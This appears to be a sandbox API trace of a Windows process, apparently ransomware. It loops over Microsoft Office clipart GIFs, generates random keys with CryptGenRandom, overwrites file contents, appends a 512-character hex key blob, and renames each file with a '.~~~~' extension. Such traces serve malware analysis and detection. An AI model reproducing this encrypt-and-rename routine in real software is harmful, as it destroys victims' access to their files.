	[0120.524] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0120.524] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0120.524] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24051456453) returned 1
	[0120.525] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb14f43d0, dwHighDateTime=0x1d60e1e)) 
	[0120.525] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0120.525] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0120.525] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0120.525] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e9fb0
	[0120.525] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0120.525] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e9fb0 | out: hHeap=0x300000) returned 1
	[0120.525] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0120.525] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0120.525] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f78e8
	[0120.525] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0120.525] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b5870
	[0120.525] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f78e8 | out: hHeap=0x300000) returned 1
	[0120.525] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0120.525] GetLastError () returned 0x0
	[0120.525] GetLastError () returned 0x0
	[0120.525] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0120.525] GetLastError () returned 0x0
	[0120.526] GetLastError () returned 0x0
	[0120.527] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xfffffc82, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0120.527] WriteFile (in: hFile=0x140, lpBuffer=0x29d0090*, nNumberOfBytesToWrite=0x37e, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29d0090*, lpNumberOfBytesWritten=0x24dfec0*=0x37e, lpOverlapped=0x0) returned 1
	[0120.528] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29d0090 | out: hHeap=0x300000) returned 1
	[0120.528] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0120.528] WriteFile (in: hFile=0x140, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0120.528] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0120.528] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0120.528] CloseHandle (hObject=0x140) returned 1
	[0120.529] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f78e8
	[0120.529] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01297_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01297_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01297_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01297_.gif.~~~~")) returned 1
	[0120.530] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f78e8 | out: hHeap=0x300000) returned 1
	[0120.530] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0120.530] GetLastError () returned 0x0
	[0120.531] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x2942ca8) returned 1
	[0120.531] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0120.531] CryptReleaseContext (hProv=0x2942ca8, dwFlags=0x0) returned 1
	[0120.532] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0120.532] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0120.532] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0120.532] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24052180159) returned 1
	[0120.532] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb14f43d0, dwHighDateTime=0x1d60e1e)) 
	[0120.532] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0120.532] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0120.532] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0120.532] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e9fe8
	[0120.532] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0120.532] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e9fe8 | out: hHeap=0x300000) returned 1
	[0120.532] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0120.532] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0120.532] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f86b0
	[0120.532] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0120.532] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b5908
	[0120.532] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f86b0 | out: hHeap=0x300000) returned 1
	[0120.532] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0120.533] GetLastError () returned 0x0
	[0120.533] GetLastError () returned 0x0
	[0120.533] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0120.533] GetLastError () returned 0x0
	[0120.533] GetLastError () returned 0x0
	[0120.534] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xfffffd44, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0120.534] WriteFile (in: hFile=0x140, lpBuffer=0x29d0090*, nNumberOfBytesToWrite=0x2bc, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29d0090*, lpNumberOfBytesWritten=0x24dfec0*=0x2bc, lpOverlapped=0x0) returned 1
	[0120.536] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29d0090 | out: hHeap=0x300000) returned 1
	[0120.536] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0120.536] WriteFile (in: hFile=0x140, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0120.536] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0120.536] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0120.536] CloseHandle (hObject=0x140) returned 1
	[0120.536] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f86b0
	[0120.537] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01298_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01298_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01298_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01298_.gif.~~~~")) returned 1
	[0120.538] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f86b0 | out: hHeap=0x300000) returned 1
	[0120.538] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0120.538] GetLastError () returned 0x0
	[0120.538] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x2942ca8) returned 1
	[0120.539] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0120.539] CryptReleaseContext (hProv=0x2942ca8, dwFlags=0x0) returned 1
	[0120.539] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0120.539] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0120.540] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0120.540] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24052974282) returned 1
	[0120.540] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb151a530, dwHighDateTime=0x1d60e1e)) 
	[0120.540] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0120.540] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0120.540] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0120.540] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3ea020
	[0120.540] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0120.540] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ea020 | out: hHeap=0x300000) returned 1
	[0120.540] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0120.540] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0120.540] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f86b0
	[0120.540] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0120.540] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b59a0
	[0120.540] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f86b0 | out: hHeap=0x300000) returned 1
	[0120.540] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0120.541] GetLastError () returned 0x0
	[0120.541] GetLastError () returned 0x0
	[0120.541] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0120.541] GetLastError () returned 0x0
	[0120.541] GetLastError () returned 0x0
	[0120.542] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xfffffec2, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0120.542] WriteFile (in: hFile=0x140, lpBuffer=0x29d0090*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29d0090*, lpNumberOfBytesWritten=0x24dfec0*=0x13e, lpOverlapped=0x0) returned 1
	[0120.543] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29d0090 | out: hHeap=0x300000) returned 1
	[0120.543] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0120.543] WriteFile (in: hFile=0x140, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0120.543] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0120.543] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0120.544] CloseHandle (hObject=0x140) returned 1
	[0120.544] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f86b0
	[0120.544] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01299_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01299_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01299_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01299_.gif.~~~~")) returned 1
	[0120.545] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f86b0 | out: hHeap=0x300000) returned 1
	[0120.545] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0120.545] GetLastError () returned 0x0
	[0120.545] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x2942ca8) returned 1
	[0120.546] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0120.546] CryptReleaseContext (hProv=0x2942ca8, dwFlags=0x0) returned 1
	[0120.546] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0120.546] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0120.546] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0120.546] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24053623411) returned 1
	[0120.546] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb151a530, dwHighDateTime=0x1d60e1e)) 
	[0120.546] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0120.546] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0120.546] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0120.546] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3ea058
	[0120.546] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0120.546] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ea058 | out: hHeap=0x300000) returned 1
	[0120.547] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0120.547] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0120.547] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f86b0
	[0120.547] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0120.547] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b5a38
	[0120.547] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f86b0 | out: hHeap=0x300000) returned 1
	[0120.547] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0120.547] GetLastError () returned 0x0
	[0120.547] GetLastError () returned 0x0
	[0120.547] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0120.547] GetLastError () returned 0x0
	[0120.547] GetLastError () returned 0x0
	[0120.549] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xfffffdb0, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0120.549] WriteFile (in: hFile=0x140, lpBuffer=0x29d0090*, nNumberOfBytesToWrite=0x250, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29d0090*, lpNumberOfBytesWritten=0x24dfec0*=0x250, lpOverlapped=0x0) returned 1
	[0120.550] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29d0090 | out: hHeap=0x300000) returned 1
	[0120.550] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0120.551] WriteFile (in: hFile=0x140, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0120.551] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0120.551] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0120.551] CloseHandle (hObject=0x140) returned 1
	[0120.551] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f86b0
	[0120.551] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01300_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01300_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01300_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01300_.gif.~~~~")) returned 1
	[0120.552] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f86b0 | out: hHeap=0x300000) returned 1
	[0120.552] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0120.552] GetLastError () returned 0x0
	[0120.553] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x2942ca8) returned 1
	[0120.553] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0120.553] CryptReleaseContext (hProv=0x2942ca8, dwFlags=0x0) returned 1
	[0120.554] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0120.554] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0120.554] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0120.554] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24054376520) returned 1
	[0120.554] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb1540690, dwHighDateTime=0x1d60e1e)) 
	[0120.554] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0120.554] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0120.554] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0120.554] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3ea090
	[0120.554] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0120.554] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ea090 | out: hHeap=0x300000) returned 1
	[0120.554] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0120.554] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0120.554] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f86b0
	[0120.554] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0120.554] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b5ad0
	[0120.554] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f86b0 | out: hHeap=0x300000) returned 1
	[0120.554] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0120.554] GetLastError () returned 0x0
	[0120.555] GetLastError () returned 0x0
	[0120.555] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0120.555] GetLastError () returned 0x0
	[0120.555] GetLastError () returned 0x0
	[0120.556] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xfffffd57, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0120.556] WriteFile (in: hFile=0x140, lpBuffer=0x29d0090*, nNumberOfBytesToWrite=0x2a9, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29d0090*, lpNumberOfBytesWritten=0x24dfec0*=0x2a9, lpOverlapped=0x0) returned 1
	[0120.557] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29d0090 | out: hHeap=0x300000) returned 1
	[0120.557] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0120.557] WriteFile (in: hFile=0x140, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0120.557] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0120.557] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0120.558] CloseHandle (hObject=0x140) returned 1
	[0120.558] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f86b0
	[0120.558] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01301_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01301_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01301_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01301_.gif.~~~~")) returned 1
	[0120.561] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f86b0 | out: hHeap=0x300000) returned 1
	[0120.561] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0120.561] GetLastError () returned 0x0
	[0120.562] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x2942ca8) returned 1
